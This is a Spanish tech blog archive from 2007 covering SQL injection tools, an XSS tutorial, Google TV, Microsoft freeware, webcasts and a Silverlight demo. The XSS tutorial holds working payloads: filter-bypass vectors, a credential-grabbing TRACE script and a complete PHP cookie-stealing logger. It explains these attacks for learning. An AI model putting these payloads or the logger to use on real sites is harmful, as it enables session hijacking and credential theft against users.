Archivos para julio, 2007

Una fallo de inyección de SQL (o SQL Injection en inglés) es …

…es una vulnerabilidad informática en el nivel de la validación de las entradas a la base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté incrustado dentro de otro.

Fuente

Según estadísticas publicadas por WhiteHack Security, los fallos de inyección de SQL y otro tipo de vulnerabilidades afectan a un gran número de sitios web, por lo que el uso de herramientas automatizadas que detecten posibles problemas de seguridad son más que recomendables.

En Security-Hacks, han publicado una lista de herramientas destinadas a encontrar y explotar vulnerabilidades de inyección de SQL.

  1. SQLIer
  2. SQLbftools
  3. SQL Injection Brute-forcer
  4. SQLBrute
  5. BobCat
  6. SQLMap
  7. Absinthe
  8. SQL Injection Pen-testing Tool
  9. SQID
  10. Blind SQL Injection Perl Tool
  11. SQL Power Injector
  12. FJ-Injector Framwork
  13. SQLNinja
  14. Automagic SQL Injector
  15. NGSS SQL Injector

Para evitar este tipo de ataques se debe hacer uso de consultas parametrizadas o funciones que el lenguaje de programación provea para este fin, en lo posible no debemos reinventar la rueda y hacer funciones que algunas veces no sirven de nada.

Google TV

Publicado: julio 27, 2007 en Google, Herramientas Web, Internet

Google tiene un plan para todo, hasta hemos oído hablar de que quería hacer incursiones enla Televisión. Hasta ahora se rumoreó muchas cosas acerca del sistema de vídeo previsto por Google pero…

googletv.jpg

…no sabíamos mucho de ello hasta que Google se dispusiera a registrar una nueva patente hace tan sólo unos días. Según deja a entender la patente… imagina que estés mirando televisión, y de repente algo te parece digno de comentar por el chat o en una red social, pues el plan de Google consiste en ofrecerte contenido relevante con lo que ves en pantalla,… ¿cómo funcionará esto?

Ni idea, pero hay más. Google dice que podría añadir una capa de información adicional a las imágenes de la TV. Por ejemplo, si estás mirando un programa sobre moda, podrías recibir información acerca de la tienda que vende esa ropa, o sobre accesorios de moda… ¿adsense televisual?

Habrá que esperar lo que nos depara el futuro pero… ¿quién sabe lo que Google nos tiene reservado? Pero la verdadera pregunta es ¿hasta dónde dejaremos que Google controle la información?

Navegando encontre una nueva palabra “XSS” que al principio no tenía ni idea de lo que significaba, pero leyendo algunos artículos sobre el tema, me di cuenta que es muy importante que todos los desarrolladores Web sepamos de que se trata, por eso les dejo este artículo extraido de la WIKIPEDIA.
Introduccion
XSS es un ataque basado en la explotación de vulnerabilidades del sistema de validación de HTML incrustado. Su nombre, del inglés “Cross Site Scripting”, y renombrado XSS para que no sea confundido con las hojas de estilo en cascada (CSS), originalmente abarcaba cualquier ataque que permitiera ejecutar código de “scripting”, como VBScript o javascript, en el contexto de otro dominio. Recientemente se acostumbra a llamar a los ataques de XSS “HTML Injection”, sin embargo el término correcto es XSS. Estos errores se pueden encontrar en cualquier aplicación HTML, no se limita a sitios web, ya que puede haber aplicaciones locales vulnerables a XSS, o incluso el navegador en sí. El problema está en que normalmente no se validan correctamente los datos de entrada que son usados en cierta aplicación. Esta vulnerabilidad puede estar presente de forma directa (foros, mensajes de error, comentarios) o indirecta (redirecciones, framesets). Cada una se trata de forma diferente.

  • Directa: Este tipo de XSS es el que normalmente es censurado; así que es muy poco común que puedas usar tags como <script> o <iframe>
  • Indirecta: Esta es un tipo de vulnerabilidad, muy común y muy poco explotada. Consiste en modificar valores que la aplicación web utiliza para pasar variables entre dos páginas, sin usar sesiones.

Indirecta
Sucede cuando hay un mensaje o una ruta en la URL del navegador o en una cookie. Para saber el contenido de una cookie, sin usar ningún tipo de iecv o addin para tu navegador, puedes usar el siguiente script de jasildbg. Sólo colócalo en la barra de direcciones, y presiona Enter.
javascript:for(var g in document.cookie.split(‘;’))void(prompt(“Valor de cookie “+document.cookie.split(‘;’)[g].split(‘=’)[0],document.cookie.split(‘;’)[g].split(‘=’)[1]));alert
(“Cookies:\n”+document.cookie.replace(/;/,”\r\n”));

Una vez dentro se puede modificar la cookie a tu antojo. Si pones cancelar la cookie se borrará.

¿Qué podemos ver con este ejemplo? Que podemos meter comandos javascript solo modificando una URL.
Usando FrameSets
Regresemos al ejemplo del frameset, que según la página que coloques te crea un frame a esa página. ¿Qué pasara si pones en esa URL?
javascript:while(1)alert(“Te estoy inundando de mensajes!”);
Y el enlace lo pone un intruso hacia un foro. Un navegador incauto, va a verlo y dirá, bueno, es del mismo dominio, no puede ser nada malo.. y de resultado tendrá un loop infinito.

Hasta ahí llegan los newbies. Pero vamos a ponernos en la piel de un experto. Se trata de colocar un script que tome tu cookie, y mande un mp al administrador, o incluso, que borre todos los mensajes de un foro.

El robo de cookies es lo más básico, y tiene como objetivo robar la cookie. ¿Y eso de qué sirve? Tengo el PHPSESSID, y si el usuario cierra sesión no sirve de nada.

Cierto, pero con el uso de la librería cURL un usuario malintencionado, podría al recibir tu cookie, entrar a la página, y dejarla en caché, para que el atacante cuando quiera, pueda entrar como tú, sin siquiera necesitar tu contraseña.

Otro uso común para estas vulnerabilidades es lograr hacer phishing; o colocar un exploit.

Quiere ello decir que tú ves la barra de direcciones, y ves que estás en una página, pero realmente estás en otra. Introduces tu contraseña y la fastidiaste.

Lo peor son los sitios de descarga, que colocan en la misma URL el sitio de objetivo. Esas páginas web son vulnerables a ataques XSS indirectos. O sea que un intruso puede colocar una imagen con enlace al sitio malicioso, y se ejecuta, sin que el usuario lo sepa.
Mensaje personalizado
La técnica sólo funciona con imágenes:
error.php?error=Usuario%20Invalido
Esa página es vulnerable a XSS indirecto.

Un <script> que cree otra sesión bajo otro usuario y tu sesión actual la mande al atacante (lo explicado de cURL más arriba), puede causar estragos.

Este código (muy peligroso) borra todo el contenido de la página en cuestión, y escribe otra cosa:
<script>
document.documentElement.innerHTML=”NADA”;
</script>
Directa
Funciona localizando puntos débiles en la programación de los filtros. Así que si, por ejemplo, logran quitar los <iframe>, <script>, el atacante siempre puede poner un <div> malicioso, o incluso un <u> o <s>. Tags que casi siempre están permitidos.
Ejemplos de Scripts donde no son comunes de encontrar
<BR SIZE=”&{alert(‘XSS’)}”>
<FK STYLE=”behavior: url(http://yoursite/xss.htc);”>
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
Usar estilos es increíblemente fácil, y lo malo es que muchos filtros son vulnerables. Se puede crear un DIV con background-image: url(javascript:eval(this.fu)) como estilo y añadir al DIV un campo llamado fu que contenga el código a ejecutar, como por ejemplo alert(‘Hola’):
<div fu=”alert(‘Hola’);” STYLE=”background-image: url(javascript:eval(this.fu))”>
Ajax
Éste es un tipo de XSS no tan conocido, pero peligroso. Se basa en usar cualquier tipo de vulnerabilidad para introducir un objeto XMLHTTP y usarlo para enviar contenido POST, GET, sin conocimiento del usuario.

El siguiente script de ejemplo obtiene el valor de las cabeceras de autenticación de un sistema basado en Autenticación Básica (Basic Auth). Sólo falta decodificarlo, pero es más fácil mandarlo codificado al registro de contraseñas. La codificación es base64.
Script para obtener credenciales en tipo BASIC
Esta tecnica también es llamada XST Cross Site Tracing XST
var xmlhttp=new ActiveXObject(“Microsoft.XMLHTTP”);

// para firefox, es: var xmlhttp = new XMLHttpRequest();

xmlhttp.open(“TRACE”,”./”,false);

xmlhttp.send(null);

str1=xmlhttp.responseText;

splitString = str1.split(“Authorization: Basic “);

str2=splitString[1];

str3=str2.match(/.*/)[0];

alert(str3);
Por cuestiones de seguridad.. Firefox y IExplorer 6.2+ no permiten usar el metodo TRACE.
log.php para registrar cookies
<?php

$archivo = fopen(‘log2.htm’,’a’);

$cookie = $_GET[‘c’];

$usuario = $_GET[‘id’];

$ip = getenv (‘REMOTE_ADDR’);

$re = $HTTPREFERRER;

$fecha=date(“j F, Y, g:i a”);

fwrite($archivo, ‘<hr>USUARIO Y PASSWORD: ‘.htmlentities(base64_decode($usuario)));
fwrite($archivo, ‘<br>Cookie: ‘.htmlentities($cookie).'<br>Pagina: ‘.htmlentities($re));
fwrite($archivo, ‘<br> IP: ‘ .$ip. ‘<br> Fecha y Hora: ‘ .$fecha. ‘</hr>’);

fclose($archivo);

?>

Aquí les dejo una lista de más de 150 programas gratuitos de Microsoft clasificados en: WINDOWS XP GOODIES , EBOOKS READER, UTILITARIOS, SUPPORT & TROUBLESHOOTING, SECURITY, ANTI-SPYWARE & ANTI-VIRUS, MULTIMEDIA, JUEGOS, SCREENSAVERS & THEMES Y HARDWARE… uno de estos programas por ejemplo es el Paint.NET (http://www.getpaint.net/) la cual puede descargarlo desde aquí http://www.getpaint.net/download.html

Es hora de descargar el resto de esos programas y empezar a probarlos,… yo estoy en eso…espero que les sirva.
…a poco me olvido de poner el Link principal, pues es esta http://bhandler.spaces.live.com/blog/cns!70F64BC910C9F7F3!1231.entry

ahi encontraras todas los programas que puedes descargar gratuitamente.

Programación de Redes con .NET 2.0

El objetivo de este webcast es presentar las nuevas funciones y protocolos de redes implementados en el .NET Framework 2.0 y como podemos incorporar los mismos en una aplicación de una manera muy sencilla.

Visual Studio Team Database Professional Edition: Control de esquemas y objetos de bases de datos

Microsoft Visual Studio Team Database Professional Edition provee del mejor entorno a profesionales de bases de datos para trabajar con gestores de bases de datos SQL Server. En este webcast veremos cómo construir proyectos de control de esquemas de bases de datos, crearemos nuevos objetos dentro del esquema y sincronizaremos los esquemas con la fuente de datos original.

Mejorando el Diseño de Interfaces Web con Expression Web

Expression Web es una herramienta de diseño web para crear sites modernos basado en estandares que mejora la experiencia del usuario. En este web cast veremos las principales caracteristicas y como usar esta herramienta para el diseño de interfaces y como integrarlo a nuestro proyecto web en Visual Studio 2005.

Visual Studio Team Database Professional Edition: Fase de Pruebas de ejecución a la base de datos

Microsoft Visual Studio Team Database Professional Edition provee del mejor entorno a profesionales de bases de datos para trabajar con gestores de bases de datos SQL Server. En este webcast veremos cómo utilizar las características de pruebas unitarias (Testing Unit) y la generación de data de prueba para un proyecto de esquemas de bases de datos creado.

Diseño de Interfaces Gráficas con Expression Interactive Designer

Expression Interactive Designer es una herramienta que nos permite diseñar interfaces para aplicaciones windows de gran calidad. En este web cast veremos las principales caracteristicas y como usar esta herramienta para el diseño de interfaces windows y como integrarlo a un proyecto windows en Visual Studio 2005.

grafico_informatica.jpg

Visitando el blog de Dan Wahlin, me tope con esta noticia: AlbumViewer Application Now Runs with Silverlight and ASP.NET AJAX.

Como saben en el reciente MIX 07, se liberó Microsoft Silverlight, Dan Wahlin aprovecho y actualizo su aplicación AlbumViewer para ver, que consume su información a través de unos Web Services de Amazon.com, ahora su aplicación AlbumViewer esta corriendo sobre ASP.NET AJAX y Silverlight.

Puede ver la versión online, o descargar el código fuente.

No he tenido tiempo de revisar el código a detalle, pero de todas maneras lo dejo para que aquellos que si tengan un tiempito de hacerlo.

Por cierto, será cierto?, que los developers, no expertos designers, pueden hacer eso con Silverlight (antes WPF/E)?, me he esta dando curiosidad de probarlo, pero será de acá un tiempo cuando termine mis pendientes.

Les dejo un screenshot de la aplicación online, con la búsqueda de Shakira.

02_album.jpg

Si no ven nada, es porque no tiene instalado Silverlight, además tendrán el link para descargar e instalarlo. Es algo así como si instalaran el add-in de Adobe Flash para ver las animaciones de Flash en la Web, de igual manera tienen que instalar Silverlight.